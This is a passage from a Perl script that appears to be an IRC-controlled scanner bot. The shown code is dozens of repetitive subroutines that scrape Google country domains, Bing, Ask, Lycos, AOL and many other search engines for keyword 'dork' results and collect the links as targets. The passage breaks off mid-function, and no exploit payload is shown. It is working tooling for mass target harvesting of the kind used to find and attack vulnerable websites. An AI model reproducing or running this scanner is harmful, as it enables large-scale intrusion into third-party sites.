("http://www.google.com.ar/search?q=".uri_escape($key)."&hl=&cr=countryAR&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleAR/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleCO() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.com.co/search?q=".uri_escape($key)."&hl=&cr=countryCO&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleCO/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleCU() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.com.cu/search?q=".uri_escape($key)."&hl=&cr=countryCU&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleCU/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sleep(2); sub googleCL() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.cl/search?q=".uri_escape($key)."&hl=&cr=countryCL&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleCL/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleMX() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.com.mx/search?q=".uri_escape($key)."&hl=&cr=countryMX&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleMX/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleAU() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.com.au/search?q=".uri_escape($key)."&hl=&cr=countryAU&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleAU/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sleep(2); sub googleRU() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.com.ru/search?q=".uri_escape($key)."&hl=&cr=countryRU&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleRU/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleAT() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.at/search?q=".uri_escape($key)."&hl=&cr=countryAT&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleAT/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googlePL() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.pl/search?q=".uri_escape($key)."&hl=&cr=countryPL&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googlePL/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sleep(3); sub googleIL() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.co.il/search?q=".uri_escape($key)."&hl=&cr=countryIL&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleIL/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleTR() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.com.tr/search?q=".uri_escape($key)."&hl=&cr=countryTR&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleTR/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleUA() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.com.ua/search?q=".uri_escape($key)."&hl=&cr=countryUA&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleUA/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sleep(3); sub googleGR() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.gr/search?q=".uri_escape($key)."&hl=&cr=countryGR&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleGR/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleJP() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.co.jp/search?q=".uri_escape($key)."&hl=&cr=countryJP&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleJP/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleCN() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.com.hk/search?q=".uri_escape($key)."&hl=&cr=countryCN&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleCN/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sleep(3); sub googleMY() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.com.my/search?q=".uri_escape($key)."&hl=&cr=countryMY&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleMY/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleTH() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.co.th/search?q=".uri_escape($key)."&hl=&cr=countryTH&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleTH/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleIN() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.co.in/search?q=".uri_escape($key)."&hl=&cr=countryIN&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleIN/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sleep(3); sub googleKR() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.co.kr/search?q=".uri_escape($key)."&hl=&cr=countryKR&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleKR/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleRO() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.ro/search?q=".uri_escape($key)."&hl=&cr=countryRO&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleRO/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googleTW() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.com.tw/search?q=".uri_escape($key)."&hl=&cr=countryTW&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleTW/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sleep(3); sub googleZA() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.co.za/search?q=".uri_escape($key)."&hl=&cr=countryZA&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googleZA/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub googlePT() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://www.google.pt/search?q=".uri_escape($key)."&hl=&cr=countryPT&as_qdr=&num=100&filter=&start=".$i."&sa=N"); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /googlePT/){ my @grep = links($link); push(@list,@grep); } } } return @list; } sub becak() { my @list; my $key = $_[0]; my @doms = ("ae","com.af","com.ag","off.ai","am","com.ar","as","at","com.au","az","ba","com.bd","be","bg","bi","com.bo","com.br","bs","co.bw","com.bz","ca","cd","cg","ch","ci","co.ck","cl","com.co","co.cr","com.cu","de","dj","dk","dm","com.do","com.ec","es","com.et","fi","com.fj","fm","fr","gg","com.gi","gl","gm","gr","com.gt","com.hk","hn","hr","co.hu","co.id","ie","co.il","co.im","co.in","is","it","co.je","com.jm","jo","co.jp","co.ke","kg","co.kr","kz","li","lk","co.ls","lt","lu","lv","com.ly","mn","ms","com.mt","mu","mw","com.mx","com.my","com.na","com.nf","com.ni","nl","no","com.np","nr","nu","co.nz","com.om","com.pa","com.pe","com.ph","com.pk","pl","pn","com.pr","pt","com.py","ro","ru","rw","com.sa","com.sb","sc","se","com.sg","sh","sk","sn","sm","com.sv","co.th","com.tj","tm","to","tp","com.tr","tt","com.tw","com.ua","co.ug","co.uk","com.uy","uz","com.vc","co.ve","vg","co.vi","com.vn","vu","ws","co.za","co.zm","co.kr"); foreach my $domain (@doms) { $dom = $doms[rand(scalar(@doms))]; for ($b=1; $b<=500; $b+=30) { my $search = ("http://www.google.com/search?num=50&q=".uri_escape($key)."&start=".$b."&sa=N"); my $res = search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) { if ($1 !~ /google/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } } return @list; } } sub bokep() { my @list; my $key = $_[0]; for ($b=0; $b<=500; $b+=50) { my $search = ("http://www.search.xxx/search/?q=".uri_escape($key)."&lr=all&cat=&or=&start=".$b); my $res = search_engine_query($search); while ($res =~ m/<h2 class=\"result-web\">(.*?)<\/h2>/g) { if ($1 !~ /search\.xxx/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } } return @list; } sub searchnz() { my @list; my $key = $_[0]; for ($b=1; $b<=500; $b+=50) { my $search = ("http://searchnz.co.nz/search.aspx?q=".uri_escape($key)."&gr=false&np=".$b); my $res = search_engine_query($search); while ($res =~ m/>http:\/\/(.+?)<\/a><\/div>/g) { if ($1 !~ /webads\.co\.nz/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } } return @list; } sub webcrawler() { my @list; my $key = $_[0]; for ($i = 0 ;$i <= 1400 ;$i += 20) { my $clink = ("http://www.webcrawler.com/search/web?qsi=".$i."&q=".uri_escape($key)."&fcop=results-top"); my $re = search_engine_query($clink); while ($re =~ m/nonpaid','(.*)','http:\/\/(.+?)\'/g) { my $link = $1; if ($1 !~ /webcrawler\.com/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub clusty() { my @list; my $key = $_[0]; my $b = 0; for ($b=0; $b<=120; $b+=10) { my $search = ("http://search.yippy.com/search?query=".uri_escape($key)."&input-form=clusty-simple&v:sources=webplus&v:state=root|root-".$b."-10|0&"); my $res = search_engine_query($search); while ($res =~ m/<div class=\"document-header\"><a href=\"http:\/\/(.*?)\"><span class=\"title\">/g) { if ($1 !~ /yippy\.com/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } } return @list; } sub witch(){ my @list; my $key = $_[0]; for($b=0; $b<=1000; $b+=50){ my $Lyc = ("http://www.witch.de/search-result.php?searchtype=phonetisch&search=".uri_escape($key)."&cn=".$b); my $Res = search_engine_query($Lyc); if ($res !~ /sw_next/) {$i=500;} while ($Res =~ m/<a href=\"http:\/\/(.+?)\"/g){ my $link = $1; if ($1 !~ /witch\.de/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub amidalla(){ my @list; my $key = $_[0]; my $i = 0; for ($i=1; $i<=1000; $i+=50){ my $web=("http://www.amidalla.de/cgi-bin/amisearch.cgi?search=".uri_escape($key)."&page=".$i."&break=10&af=2&tld=com&et=2"); my $Res= search_engine_query($web); while ($Res =~ m/<a href=\"http:\/\/(.+?)\//g){ if ($1 !~ /amidalla/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } } return @list; } sub gibla() { my @list; my $key = $_[0]; for ($b=0; $b<=600; $b+=40) { my $search = ("http://www.gigablast.com/search?s=".$b."&q=".uri_escape($key)); my $res = search_engine_query($search); while ($res =~ m/<span class=\"url\">(.+?)<\/span>/g) { my $link = $1; if ($link!~ /gigablast/) { my @grep = &links($link); push(@list,@grep); } } } return @list; } sub mywebsearch() { my @list; my $key = $_[0]; for ($b = 1; $b<=700; $b+=40) { my $search = ("http://search.mywebsearch.com/mywebsearch/GGweb.jhtml?searchfor=".uri_escape($key)."&pn=".$b); my $res = search_engine_query($search); while ($res =~ m/<span class=\"uri\">http:\/\/(.+?)\<\/span>/g) { my $link = $1; if ($1 !~ /mywebsearch\.com/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub dogpile() { my @list; my $key = $_[0]; for ($b = 1; $b<=901; $b+=40) { my $search = ("http://www.dogpile.com/info.dogpl/search/web?qsi=".$b."&q=".uri_escape($key)); my $res = search_engine_query($search); while ($res =~ m/<a class=\"resultDisplayUrl\" (.*) site=\"_blank\">(.+?)<\/a>/g) { my $link = $2; if ($link!~ /dogpile/) { my @grep = &links($link); push(@list,@grep); } } } return @list; } sub infocom() { my @list; my $key = $_[0]; for ($b = 1; $b<=600; $b+=41) { my $search = ("http://www.info.com/searchw?page=".$b."&qkw=".uri_escape($key)); my $res = search_engine_query($search); while ($res =~ m/http%3a%2f%2f(.+?)%2f/g) { my $link = $1; if ($link!~ /info\.com/) { my @grep=links($link); open( $filez, ">>", $name ); foreach my $k (@grep) { print $filez "$k\n"; } close $filez; push(@list,@grep); } } } return @list; } sub searchcom() { my @list; my $key = $_[0]; for ($b = 1; $b<=400; $b+=40) { my $search = ("http://www.search.com/search?q=".uri_escape($key)."&nav=".$b.".10.2.10"); my $res = search_engine_query($search); while ($res =~ m/<a href=\"http:\/\/(.+?)\" onclick=\"/g) { my $link = $1; if ($link!~ /search\.com/) { my @grep = &links($link); push(@list,@grep); } } } return @list; } sub teoma() { my @list; my $key = $_[0]; for ($b = 1; $b<=600; $b+=50) { my $search = ("http://www.teoma.com/web?q=".uri_escape($key)."&page=".$b); my $res = search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.+?)\"/g) { my $link = $1; if ($link!~ /teoma\.com/) { my @grep = &links($link); push(@list,@grep); } } } return @list; } sub volunia() { my @list; my $key = $_[0]; my $chan = $_[1]; for ($b = 1; $b<=600; $b+=40) { my $search = ("http://www.volunia.com/find/web?q=".uri_escape($key)."&start=".$b); my $res = search_engine_query($search); while ($res =~ m/The map of http:\/\/(.+?) does not exist yet/g) { my $link = $1; if ($link!~ /volunia\.com/) { my @grep = &links($link); push(@list,@grep); } } } sendraw("MODE $chan -m"); return @list; } sub izito() { my @list; my $key = $_[0]; for ($b=0; $b<=600; $b+=40) { my $search = ("http://www.izito.com/?query=".uri_escape($key)."&where=web_izito&site=web_izito&vid=l1847521836I1359583892&con=y&asid=1810073229&tag=7570085394I1359583978&clt=topic&sr=r&pg=".$b); my $res = search_engine_query($search); while ($res =~ m/<div class=\"title_up\"><a href=\"http:\/\/(.*?)\" site=/g) { my $link = $1; if ($1 !~ /izito\.com/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub onyet() { my @list; my $key = $_[0]; for ($b=1; $b<=420; $b+=30) { my $search = ("http://szukaj.onet.pl/0,".$b.",query.html?qt=".uri_escape($key)); my $res = search_engine_query($search); while ($res =~ m/class=\"link\"><a href=\"http:\/\/(.+?)\">/g) { if ($1 !~ /onet\.pl/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } } return @list; } sub askom() { my @list; my $key = $_[0]; for (my $i=0; $i<=400; $i+=30) { my $search = ("http://www.ask.com/web?q=".uri_escape($key)."&qsrc=0&frstpgo=&o=0&l=dir&qid=235A0A59C3E13CDAFE9BC30D9C40E125&page=".$i."&pid=&min=&max=&jss="); my $res = search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=\"/g) { if ($1 !~ /ask\.com/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } } return @list; } sub google() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack9.uri_escape($key)."&num=100&filter=0&start=".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub walla() { my @list; my $key = $_[0]; my $chan = $_[1]; for ($b=0; $b<=1000; $b+=61) { my $search = ("http://search.walla.co.il/?q=".uri_escape($key)."&type=text&page=".$b); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"http:\/\/(.+?)\" title=/g) { my $link = $1; if ($link !~ /walla\.co\.il/){ my @grep = &links($link); push(@list,@grep); } } } sendraw("MODE $chan -m"); return @list; } sub ask() { my @list; my $key = $_[0]; for (my $i=1; $i<=2500; $i+=250) { my $search = ("http://uk.ask.com/web?q=".uri_escape($key)."&qsrc=1&frstpgo=0&o=0&l=dir&qid=05D10861868F8C7817DAE9A6B4D30795&page=".$i."&jss="); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.*?)\" onmousedown=/g) { my $link = $1; if ($link !~ /ask\.com/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub onet() { my @list; my $key = $_[0]; my $b = 0; for ($b=1; $b<=600; $b+=60) { my $search = ("http://szukaj.onet.pl/".$b.",query.html?qt=".uri_escape($key)); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"http:\/\/(.*?)\">/g) { my $link = $1; if ($link !~ /onet|webcache|query/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub clusty() { my @list; my $key = $_[0]; my $b = 0; for ($b=10; $b<=600; $b+=60) { my $search = ("http://search.yippy.com/search?input-form=clusty-simple&v%3Asources=webplus-ns-aaf&v%3Aproject=clusty&query=".uri_escape($key)."&v:state=root|root-".$b."-20|0&"); my $res = &search_engine_query($search); if ($res !~ /next/) {$b=100;} while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) { my $link = $1; if ($1 !~ /yippy\.com/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub bing() { my @list; my $key = $_[0]; for (my $i=0; $i<=500; $i+=10) { my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&first=".$i); my $res = &search_engine_query($search); if ($res !~ /sw_next/) {$i=500;} while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) { my $link = $1; if ($link !~ /google/) { my @grep = &links($link); push(@list,@grep); } } } return @list; } sub sapo(){ my @list; my $key = $_[0]; for ($b=1; $b<=700; $b+=40) { my $search = ("http://pesquisa.sapo.pt/?barra=resumo&cluster=0&format=html&limit=10&location=pt&page=".$b."&q=".uri_escape($key)."&st=local"); my $res = &search_engine_query($search); if ($res !~ m/Next/i) {$b=50;} while ($res =~ m/<a href=\"http:\/\/(.*?)\"/g) { my $link = $1; if ($1 !~ /\.sapo\.pt/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub lycos() { my @list; my $key = $_[0]; for ($b=0; $b<=500; $b+=50) { my $search = ("http://search.lycos.com/web?q=".uri_escape($key)."&pn=".$b); my $res = &search_engine_query($search); while ($res =~ m/title=\"http:\/\/(.*?)\"/g) { my $link = $1; if ($link !~ /lycos\.com/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub uol() { my @list; my $key = $_[0]; for ($b=0; $b<=1000; $b+=100) { my $search = ("http://busca.uol.com.br/web/?ref=homeuol&q=".uri_escape($key)."&start=".$b); my $res = &search_engine_query($search); if ($res =~ m/retornou nenhum resultado/i) {$b=500;} while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /uol\.com\.br|\/web/i){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub seznam() { my @list; my $key = $_[0]; for ($b=1; $b<=500; $b+=50) { my $search = ("http://search.seznam.cz/?q=".uri_escape($key)."&count=20&from=".$b); my $res = &search_engine_query($search); while ($res =~ m/href=\"?http:\/\/([^\">]*)\"/g) { my $link = $1; if ($link !~ /seznam\.cz|chytrevyhledavani\.cz|smobil\.cz|sklik\.cz/i){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub hotbot() { my @list; my $key = $_[0]; for ($b=1; $b<=500; $b+=1) { my $search = ("http://www.hotbot.com/search/web?pn=".$b."&q=".uri_escape($key)."&keyvol=".$sekey{"hotbot"}); my $res = &search_engine_query($search); if ($res =~ m/had no web result/i) {$b=500;} while ($res =~ m/href=\"http:\/\/(.+?)\" title=/g) { my $link = $1; if ($link !~ /hotbot\.com/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub aol() { my @list; my $key = $_[0]; for ($b=0; $b<=500; $b+=50) { my $search = ("http://search.aol.com/aol/search?q=".uri_escape($key)."&page=".$b); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.*?)\"/g) { my $link = $1; if ($link !~ /aol\.com/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub biglobe { my $key = $_[0]; my @list; for ($b=0; $b<=500; $b+=20) { my $search = "http://cgi.search.biglobe.ne.jp/cgi-bin/search-st_lp2?start=".$b."&ie=utf8&num=20&q=".uri_escape($key)."&lr=all"; my $res = &search_engine_query($search); while ( $res =~ m/<a href=\"http:\/\/(.+?)\"/g ) { my $link = $1; if ($link !~ /biglobe/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub kvasir() { my @list; my $key = $_[0]; for (my $i=10; $i<=2500; $i+=250){ my $search = ("http://www.kvasir.no/nettsok?q=".$i."&pageSize=100&q=".uri_escape($key).""); my $res = &search_engine_query($search); while ($res =~ m/href=\"http:\/\/(.+?)\//g) { my $link = $1; if ($link !~ /kvasir/){ $link =~ s/<//g; $link =~ s/ //g; my @grep = links($link); push(@list,@grep); } } } return @list; } sub quint() { my @lst; my $key = $_[0]; for (my $i=0; $i<=500; $i+=50){ my $search = ("http://quintura.com/?request=".uri_escape($key)."&tab=0&page=".$i."&tabid="); my $res = search_engine_query($search); while ($res =~ m/<a href=\"?http:\/\/(.+?)\//g) { my $link = $1; if ($link !~ /quintura/){ my @grep = links($link); push(@lst,@grep); } } } return @lst; } sub seznam() { my @list; my $key = $_[0]; for ($b=1; $b<=1000; $b+=100) { my $search = ("http://search.seznam.cz/?q=".uri_escape($key)."&count=10&pId=SkYLl2GXwV0CZZUQcglt&from=".$b); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"http:\/\/(.+?)\" title/g) { if ($1 !~ /seznam/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } } return @list; } sub pagina(){ my @list; my $key = $_[0]; my $i = 0; for ($i=0; $i<=500; $i+=30){ my $web=("http://startgoogle.startpagina.nl/index.php?q=".uri_escape($key)."&start=".$i."&origin=homepage&source=geentaal"); my $Res= search_engine_query($web); while ($Res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){ if ($1 !~ /pagina|pagina's/){ my $k=$1; my @grep=links($k); push(@list,@grep); } } } return @list; } sub clix(){ my @list; my $key = $_[0]; for($b=1;$b<=1000;$b+=100){ my $Th=("http://www.google.pt/search?q=".uri_escape($key)."&in=Mundial&num=25&ckWhere=Mundo&position=".$b.""); my $Res=&search_engine_query($Th); while($Res =~ m/href=\"http:\/\/(.+?)\//g){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep); } } return @list; } sub ask2() { my @list; my $key = $_[0]; for (my $i=1; $i<=50; $i+=1) { my $search = ("http://it.ask.com/web?q=".uri_escape($key)."&qsrc=0&o=0&l=dir&qid=EE90DE6E8F5370F363A63EC61228D4FE&page=".$i."&jss=1&dm=all"); my $res = &search_engine_query($search); if ($res !~ /Successiva/) {$i=50;} while ($res =~ m/href=\"http:\/\/(.+?)\" onmousedown=\"/g) { if ($1 !~ /ask\.com/){ my $link = $1; my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ae() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack1.uri_escape($key)."%2Bsite%3Aae%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ar() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack2.uri_escape($key)."%2Bsite%3Aar%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub at() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack3.uri_escape($key)."%2Bsite%3Aat%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub au() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack4.uri_escape($key)."%2Bsite%3Aau%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub br() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack5.uri_escape($key)."%2Bsite%3Abr%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub ca() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack6.uri_escape($key)."%2Bsite%3Aca%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub cl() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack7.uri_escape($key)."%2Bsite%3Acl%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub cn() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack8.uri_escape($key)."%2Bsite%3Acn%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub com() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack9.uri_escape($key)."%2Bsite%3Acom%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub cz() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack10.uri_escape($key)."%2Bsite%3Acz%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a href=\"\/url\?q=http:\/\/([^"]*)\"/g) { my $link = $1; if ($link !~ /google/){ my @grep = &links($link); push(@list,@grep); } } } return @list; } sub de() { my @list; my $key = $_[0]; for (my $i=0; $i<=2500; $i+=250){ my $search = ($jack11.uri_escape($key)."%2Bsite%3Ade%26num%3D100%26start%3D".$i); my $res = &search_engine_query($search); while ($res =~ m/<a 